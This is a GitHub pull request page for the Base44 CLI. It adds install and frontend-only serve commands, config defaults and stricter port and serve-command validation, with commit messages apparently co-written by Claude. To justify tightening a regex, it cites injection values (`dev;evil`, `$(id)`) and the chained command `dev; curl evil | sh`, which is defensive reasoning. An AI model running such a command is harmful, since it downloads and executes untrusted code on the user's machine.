Conversation
Contributor
🚀 Package Preview Available!Install this PR's preview build with npm: npm i @base44-preview/cli@0.1.16-pr.635.9acfc73Prefer not to change any import paths? Install using npm alias so your code still imports npm i "base44@npm:@base44-preview/cli@0.1.16-pr.635.9acfc73"Or add it to your {
"dependencies": {
"base44": "npm:@base44-preview/cli@0.1.16-pr.635.9acfc73"
}
}
Preview published to npm registry — try new features instantly! |
A `site` block had to spell out every command, and the platform that runs these projects kept its own copy of the same values to fill the gaps. Defaults live here now, matching what `base44 create` scaffolds: install `npm install`, build `npm run build`, output `./dist`. A block only names what its project does differently. `serveCommand` is deliberately left undefaulted: `base44 dev` reads its absence as "no frontend to run here" and runs the backend alone, and a default would spawn a dev server for every site block — one that fails immediately takes the backend down with it. Commands that exist only to serve a frontend default it themselves. `site` itself stays optional, so "is there a site?" still keys on the block: a backend-only project omits it and has no site. Inside a block the build fields always resolve, which moves two refusals from "this field is missing" to "there is no site block" — `base44 build` and `site deploy` reword their hints, and `deploy` reads the block rather than one field. Projects that declared a partial block change behaviour: they now build and deploy on the defaults instead of being refused. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
ronnyrin
force-pushed
the
feat/site-config-defaults
branch
from
September 22, 2026 09:34
6ab4533 to
93d2ceb
Compare
ronnyrin
force-pushed
the
feat/site-install-and-serve
branch
2 times, most recently
from
September 22, 2026 09:41
623cd2c to
075f1f7
Compare
`installCommand` and `serveCommand` were fields no command would run on their own: install only happened inside `create`, `scaffold` and `eject`, and serve only inside `base44 dev`, which also boots a local backend on 4400 and points the frontend at it. A host that already has a backend and just needs this project installed and served had to compose npm itself. `base44 install` runs `installCommand` and nothing else — local only, so a machine that has never logged in can use it. `base44 site dev` runs `serveCommand` against a backend the caller names, and since serving is its whole job it falls back to `npm run dev` where the schema deliberately does not. `--host`/`--port` are appended through the project's new `devHostFlag` (`--host`, or Next's `--hostname`). Only an `npm run` invocation can take them — `--` is what forwards arguments, and a bare `vite` would read it as its own — so anything else passes through untouched and says so rather than silently serving an unreachable address. `base44 dev` and `dev --remote` are unchanged; the signal handling they had is now shared rather than copied. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
ronnyrin
force-pushed
the
feat/site-install-and-serve
branch
from
September 22, 2026 09:43
075f1f7 to
de2f19d
Compare
Review found that defaulting `outputDirectory` turns a field whose absence
means "nothing built to upload" into one that always resolves, and two callers
act on that:
`deployAll` still keyed the upload on the field, so `base44 deploy` on a
`"site": {"serveCommand": ...}` project (the shape of this repo's own
with-serve-command fixture) would resolve `./dist` and either fail a
previously-green deploy after pushing every other resource, or publish whatever
happened to sit in `./dist` — a backend bundle, typically — as the app's site.
`eject`'s guard `installCommand && buildCommand` became dead, so `eject --yes`
would run a network install, a build and a deploy for any ejected app with a
site block, unprompted.
So `outputDirectory` joins `serveCommand` as deliberately undefaulted, which is
the same rule applied consistently: only the two commands whose absence means
nothing default. `hasResourcesToDeploy` needs no change and drops out of the
diff; eject now keys on `outputDirectory` like every other caller. Added the
deploy test that would have caught the first one.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
…feat/site-install-and-serve # Conflicts: # packages/cli/src/core/project/schema.ts
Review found that defaulting `outputDirectory` turns a field whose absence
means "nothing built to upload" into one that always resolves, and two callers
act on that:
`deployAll` still keyed the upload on the field, so `base44 deploy` on a
`"site": {"serveCommand": ...}` project (the shape of this repo's own
with-serve-command fixture) would resolve `./dist` and either fail a
previously-green deploy after pushing every other resource, or publish whatever
happened to sit in `./dist` — a backend bundle, typically — as the app's site.
`eject`'s guard `installCommand && buildCommand` became dead, so `eject --yes`
would run a network install, a build and a deploy for any ejected app with a
site block, unprompted.
So `outputDirectory` joins `serveCommand` as deliberately undefaulted, which is
the same rule applied consistently: only the two commands whose absence means
nothing default. `hasResourcesToDeploy` needs no change and drops out of the
diff; eject now keys on `outputDirectory` like every other caller. Added the
deploy test that would have caught the first one.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
ronnyrin
force-pushed
the
feat/site-config-defaults
branch
from
September 22, 2026 10:13
8d9279d to
9c57bb8
Compare
Review findings on this PR, plus the merge of #634's outputDirectory change. `--host`/`--port` were composed only onto an `npm run` invocation and otherwise warned and continued with exit 0. For this command's audience — a hosted sandbox — a warning in a stream nobody reads is not a signal: the dev server comes up on whatever address it likes and the CLI reports success. An address that cannot be delivered is now a refusal. `pnpm`, `yarn` and `bun run` join the forwarding shapes, since all three pass trailing arguments to a script and dropping the address for them was the common case. `withServeAddress` returns whether it dropped the address, so the caller cannot mistake "no address to append" for "the address went nowhere" — the difference being a preview that never loads. That removes the second evaluation of the same regex at the call site, and the predicate it needed. The script token was `\S+`, which matches `dev;evil` and `$(id)`: the predicate answered "this forwards arguments" for a line whose second command is what received them. It is a charset now. The composition also used the untrimmed string while the test used the trimmed one. `--port` went through `Number()`, so an empty string became port 0 — a random port, silently — and `0x10`, `1e3` and `5173.0` were all accepted. It is parsed in a Commander argParser now, digits only and in range. `devHostFlag` does not default in the schema, for the same reason `serveCommand` and `outputDirectory` do not: `site dev` is the only reader, and a default permanently erases the difference between a project that wrote `--host` and one that wrote nothing. `site dev` supplies the fallback. Also: knip was failing on an unused exported type, invisible because none of the five code-checking workflows run on a PR that targets another branch. Tests added for the unauthenticated path on both new commands, `--port` rejection, a failing install command and a custom `devHostFlag`; one assertion that could never fail is gone, and the fixture no longer claims the schema defaults `serveCommand`. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
…feat/site-install-and-serve # Conflicts: # packages/cli/src/cli/commands/project/eject.ts # packages/cli/src/core/project/schema.ts # packages/cli/tests/core/project.spec.ts
Both commands default inside a `site` block, so install and build always work there now — the earlier `outputDirectory` check was guarding a config neither writer produces. `ensure_cli_configs` and `eject_service` both emit the full block including `outputDirectory: "./dist"`, and the eject ZIP comes from the latter, so the check could never be the condition that differed. Having a site block is the whole question: a backend-only project has nothing to build. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_018G9vtxAUJV6aZ7FYv5cRjL
…feat/site-install-and-serve
…-serve # Conflicts: # packages/cli/src/core/project/schema.ts # packages/cli/tests/cli/build.spec.ts # packages/cli/tests/core/project.spec.ts
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Note
Description
Adds the two pieces a hosted build sandbox needs to run a Base44 frontend without a developer machine:
base44 install, which runs only the site'sinstallCommand, andbase44 site dev, which runs the site'sserveCommandwith no local backend, optionally pointed at a backend the caller names via--backend-url.base44 buildalso drops its login requirement, since it resolves the app id locally and runs a local build. Both new commands are local-only — no login, and forinstallno app id either.Related Issue
None
Type of Change
Changes Made
base44 install(cli/commands/project/install.ts): runs the site'sinstallCommand(defaults tonpm installinside asiteblock) and nothing else; registered inprogram.tswithrequireAuth: falseandrequireAppContext: false. Fails with an actionable hint when the project has nositeblock.base44 site dev(cli/commands/site/dev.ts): serves the frontend only, with--backend-url,--hostand--port. Falls back tonpm run devwhen the site block names noserveCommand, since serving is the command's whole job. Omitting--backend-urlinjects nothing, so a same-origin frontend keeps reaching its backend on its own origin.--portvalidation: rejects"","0","0x10","1e3","-1","70000"and friends rather than lettingNumber()turn them into a silent random port.core/site/serve-command.ts): newwithServeAddress()appends the bind address throughnpm run/pnpm/yarn/bun runscripts with the right separator. AserveCommandthat cannot take forwarded arguments is refused instead of being served on a different address with exit 0. The runner patterns use restricted charsets so a chained command (dev; curl evil | sh) is not treated as argument-forwarding.site.devHostFlag(core/project/schema.ts): optional config for how a project's dev server spells its bind flag —--hostnamefor Next, which exits on--host. Read only when an address is requested, so it is deliberately not a schema default. The port flag stays non-configurable, since every dev server spells it--port.base44 buildno longer requires auth (requireAuth: false); the app id comes from--app-id,BASE44_APP_IDor.app.jsonc.stopRunnerOnProcessSignals()extracted fromcommands/dev.tsintocli/dev/stop-runner-on-signals.tsand shared withsite dev;ServeCommandRunnerOptions.appBaseUrlis now optional and only setsVITE_BASE44_APP_BASE_URLwhen present.Testing
npm test)New coverage:
tests/cli/install.spec.ts(configured command, no-login, failing install, missing site block),tests/cli/site_dev.spec.ts(backend injection, address binding, refused address, a--portrejection table, no-login, custom host flag, no-backend case, missing site block),tests/core/serve-command.spec.ts(withServeAddressunit tests), a no-login case intests/cli/build.spec.ts, plus four new fixtures (with-installable-site,with-failing-install,with-npm-serve-command,with-hostname-serve-command). The suites were not executed while generating this description, so CI is the authority on the run.Checklist
docs/(AGENTS.md) if I made architectural changesAdditional Notes
Command split:
base44 devstays the developer-machine path (local backend, or the published app with--remote);base44 site devis the frontend-only path a hosted sandbox needs. Documentation lives in the CHANGELOG and--helptext — nodocs/topic guide changed, since the core/cli layering is unchanged.🤖 Generated by Claude | 2026-09-22 13:54 UTC | 9acfc73